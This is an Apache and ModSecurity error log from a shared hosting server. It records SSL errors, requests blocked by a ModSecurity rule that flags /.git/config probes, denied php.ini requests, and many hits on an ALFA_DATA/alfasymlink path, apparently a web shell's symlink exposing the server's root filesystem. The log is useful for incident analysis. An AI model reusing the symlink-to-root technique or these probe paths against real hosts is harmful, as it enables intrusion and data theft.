[Sat Oct 24 10:59:26.167042 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.231.181.240:58797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:59:30.197404 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 44.213.202.136:31019] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:59:42.196415 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 3.211.181.86:35183] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/rescan
[Sat Oct 24 10:59:54.634062 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.212.86.97:12858] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:59:58.317370 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.227.156.153:15977] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:59:59.948503 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.202:22924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/cache_dma
[Sat Oct 24 11:00:06.252939 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 23.21.227.240:16333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:10.601408 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.226.106.93:45036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:15.434928 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.5:16758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/ctor
[Sat Oct 24 11:00:18.207577 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 23.23.99.55:22958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:22.630821 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.5.232.250:25807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:30.331114 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.200.58.199:61204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:42.437696 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.3.104.214:15412] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:46.283371 2026] [ssl:error] [pid 2653688:tid 2653688] (5)Input/output error: [client 100.28.204.82:38439] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:50.405393 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 18.235.81.246:7379] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:00:54.391404 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 3.213.106.226:38867] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/iomem_reg_shift
[Sat Oct 24 11:01:02.408048 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.87.62.248:10406] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:01:06.621071 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.3.127.170:9204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:01:10.264893 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 35.153.86.200:49872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:01:22.416015 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 100.28.49.152:4994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty30/subsystem/tty43/subsystem/ttyS2/custom_divisor
[Sat Oct 24 11:01:30.245984 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 98.83.226.125:33062] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:01:42.253086 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.233.24.238:7919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:01:46.238984 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 52.1.106.130:13013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:01:46.531181 2026] [security2:error] [pid 2653691:tid 2653691] [client 172.69.222.239:10711] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzIWgg8t6UDSRTNwJOWKAAAABc"]
[Sat Oct 24 11:01:46.531512 2026] [security2:error] [pid 2653691:tid 2653691] [client 172.69.222.239:10711] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzIWgg8t6UDSRTNwJOWKAAAABc"]
[Sat Oct 24 11:01:46.531917 2026] [security2:error] [pid 2653691:tid 2653691] [client 172.69.222.239:10711] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzIWgg8t6UDSRTNwJOWKAAAABc"]
[Sat Oct 24 11:01:46.787164 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 85.208.96.200:21496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objects
[Sat Oct 24 11:01:50.793740 2026] [security2:error] [pid 2635677:tid 2635677] [client 52.4.229.9:46918] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:01.0/firmware_node/subsystem/drivers/button/LNXPWRBN:00/input/input0/subsystem/input3/power/"] [unique_id "atzIXoWurp-t0SwAQgRq1QAAAAQ"]
[Sat Oct 24 11:01:50.793788 2026] [security2:error] [pid 2635677:tid 2635677] [client 52.4.229.9:46918] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:01.0/firmware_node/subsystem/drivers/button/LNXPWRBN:00/input/input0/subsystem/input3/power/"] [unique_id "atzIXoWurp-t0SwAQgRq1QAAAAQ"]
[Sat Oct 24 11:02:02.118050 2026] [authz_core:error] [pid 2653819:tid 2653819] [client 161.35.116.46:34150] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:02:02.193001 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 161.35.116.46:39006] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:02:02.813352 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 18.214.251.19:9846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:02:10.330539 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.206.249.188:26494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:02:18.266022 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.166.104.83:44429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:02:22.318863 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 23.22.59.87:55356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:02:28.326385 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 185.191.171.6:37064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/ctor
[Sat Oct 24 11:02:42.338174 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.1.106.130:40986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:02:58.383931 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.81.253.213:42637] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:03:02.305326 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 35.171.141.42:45068] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:03:06.774609 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 44.215.235.20:50105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:03:10.268353 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 44.215.235.20:32308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/usb-conn-gpio/unbind
[Sat Oct 24 11:03:14.430105 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.83.56.1:7597] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:03:22.274836 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 3.230.69.161:57263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:03:26.630988 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.87.95.7:14121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:03:34.340652 2026] [authz_core:error] [pid 2653691:tid 2653691] [client 69.5.169.162:62143] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:03:44.262333 2026] [authz_core:error] [pid 2653819:tid 2653819] [client 64.205.72.118:8456] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:03:44.590724 2026] [authz_core:error] [pid 2635677:tid 2635677] [client 200.138.46.53:3284] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:04:06.451246 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.2.4.213:11433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:04:14.429540 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 44.215.61.66:11451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:04:22.411960 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.204.150.196:23185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:04:26.302764 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 54.85.109.140:8409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:04:34.386621 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.83.23.103:62250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:04:38.439428 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.82.66.172:53613] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:04:46.299417 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 100.29.160.53:58235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:04:58.391413 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.223.181.32:23236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:14.326947 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.84.250.51:26819] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:18.398622 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.21.62.139:7151] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:26.273213 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 23.21.204.95:14756] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:30.586918 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.210.155.69:33898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:34.351905 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 34.231.181.240:63416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:38.302090 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.205.113.104:62212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:42.510869 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 23.21.179.120:61316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/device:0a/subsystem/drivers/hpet/unbind
[Sat Oct 24 11:05:46.350965 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.208.11.93:10373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:48.782546 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.193:52314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/objects_partial
[Sat Oct 24 11:05:50.470868 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 184.72.95.195:64387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:05:58.525895 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 184.73.195.18:60538] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:02.326968 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 3.223.181.32:64121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0303:00/physical_node1/driver/bind
[Sat Oct 24 11:06:10.352177 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.231.45.47:44334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:14.494486 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.231.118.144:65225] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:14.494689 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.231.118.144:65225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/event3/device/power/runtime_status"] [unique_id "atzJZgSwRuPA-FjBma7KyQAAAAI"]
[Sat Oct 24 11:06:14.494757 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.231.118.144:65225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/event3/device/power/runtime_status"] [unique_id "atzJZgSwRuPA-FjBma7KyQAAAAI"]
[Sat Oct 24 11:06:18.404410 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 52.204.71.8:54433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:22.315831 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.54.249.218:15262] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:23.657596 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.209:63522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/align
[Sat Oct 24 11:06:26.391855 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 52.45.15.233:28168] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:34.372607 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 34.206.249.188:25953] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:38.645042 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 50.17.193.48:65120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/unbind
[Sat Oct 24 11:06:46.421406 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.206.47.187:19017] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:49.498597 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 85.208.96.199:61034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/validate
[Sat Oct 24 11:06:50.364212 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 3.216.86.144:48576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/device:0e/subsystem/devices/QEMU0002:00/physical_node/driver/unbind
[Sat Oct 24 11:06:54.425877 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.223.232.55:40698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:06:58.640153 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 18.214.251.19:59558] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:02.399851 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.45.15.233:20759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:08.672266 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 185.191.171.4:40960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/align
[Sat Oct 24 11:07:10.396089 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.235.191.179:43149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:14.370458 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 3.222.190.107:27920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/crash_notes_size
[Sat Oct 24 11:07:16.964238 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.7:52998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/object_size
[Sat Oct 24 11:07:18.518979 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 3.226.106.93:37922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:22.510608 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.206.47.187:4208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:32.891661 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.202.233.37:24101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:34.221346 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 185.191.171.14:41212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:34.749466 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 185.191.171.14:41226] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:35.015125 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.169.119.108:48851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:38.587555 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.22.59.87:4755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:42.414368 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 34.236.185.101:54264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:46.391953 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.87.62.248:12968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:50.924918 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 54.225.148.123:34311] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:07:58.423598 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.70.123.241:44028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:01.606287 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 85.208.96.203:25308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/alloc_calls
[Sat Oct 24 11:08:02.562963 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.84.147.79:13597] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:06.476291 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 23.23.137.202:51714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/battery/bind
[Sat Oct 24 11:08:07.923966 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 94.154.43.99:3850] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:08:08.161613 2026] [cgi:error] [pid 2653685:tid 2653685] [client 94.154.43.99:3866] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sat Oct 24 11:08:14.754646 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 98.80.130.239:58469] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:22.595356 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 3.208.146.193:44341] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:27.268547 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.233.219.155:23392] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:30.670659 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.193.2.57:38979] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:33.488632 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.194:18896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/hwcache_align
[Sat Oct 24 11:08:38.789898 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.209.89.189:41627] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:42.717575 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 50.16.216.166:9785] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:08:46.544793 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.205.222.214:30800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:03.856416 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 85.208.96.198:32758] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:14.763999 2026] [ssl:error] [pid 2653688:tid 2653688] (22)Invalid argument: [client 54.147.182.90:13754] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:18.750635 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.206.193.60:52773] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:30.562651 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.45.77.169:17746] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:34.583777 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 52.3.155.146:38252] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:38.620104 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 52.3.127.170:44798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:42.613646 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.204.150.196:45106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:45.248426 2026] [authz_core:error] [pid 2653681:tid 2653681] [client 192.42.116.44:21230] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Sat Oct 24 11:09:46.908643 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.169.240.53:45557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:50.571561 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 34.195.248.30:65324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:09:50.909264 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.7:10854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/trace
[Sat Oct 24 11:09:58.658558 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 18.209.201.119:16062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:04/physical_node/virtio0/driver/uevent
[Sat Oct 24 11:10:00.679015 2026] [authz_core:error] [pid 2653688:tid 2653688] [client 171.25.193.79:39896] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini, referer: https://sherwinpinturas.com/arg1
[Sat Oct 24 11:10:02.218662 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 171.25.193.79:39902] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini, referer: https://sherwinpinturas.com/arg2
[Sat Oct 24 11:10:02.646272 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.84.102.81:15181] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:10:26.564848 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 18.215.112.101:2811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:10:27.088246 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.13:64374] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/mediatek/mt7996/mt7996_rom_patch.bin"] [unique_id "atzKYxdOhHN-18IxgZKsawAAAAY"]
[Sat Oct 24 11:10:27.088292 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.13:64374] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/mediatek/mt7996/mt7996_rom_patch.bin"] [unique_id "atzKYxdOhHN-18IxgZKsawAAAAY"]
[Sat Oct 24 11:10:30.625236 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.44.174.136:52426] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:10:38.777529 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.147.182.90:3272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:10:42.673617 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.83.240.58:57148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:10:46.870725 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.200.58.199:3340] AH02013: coalesce failed to read from data bucket
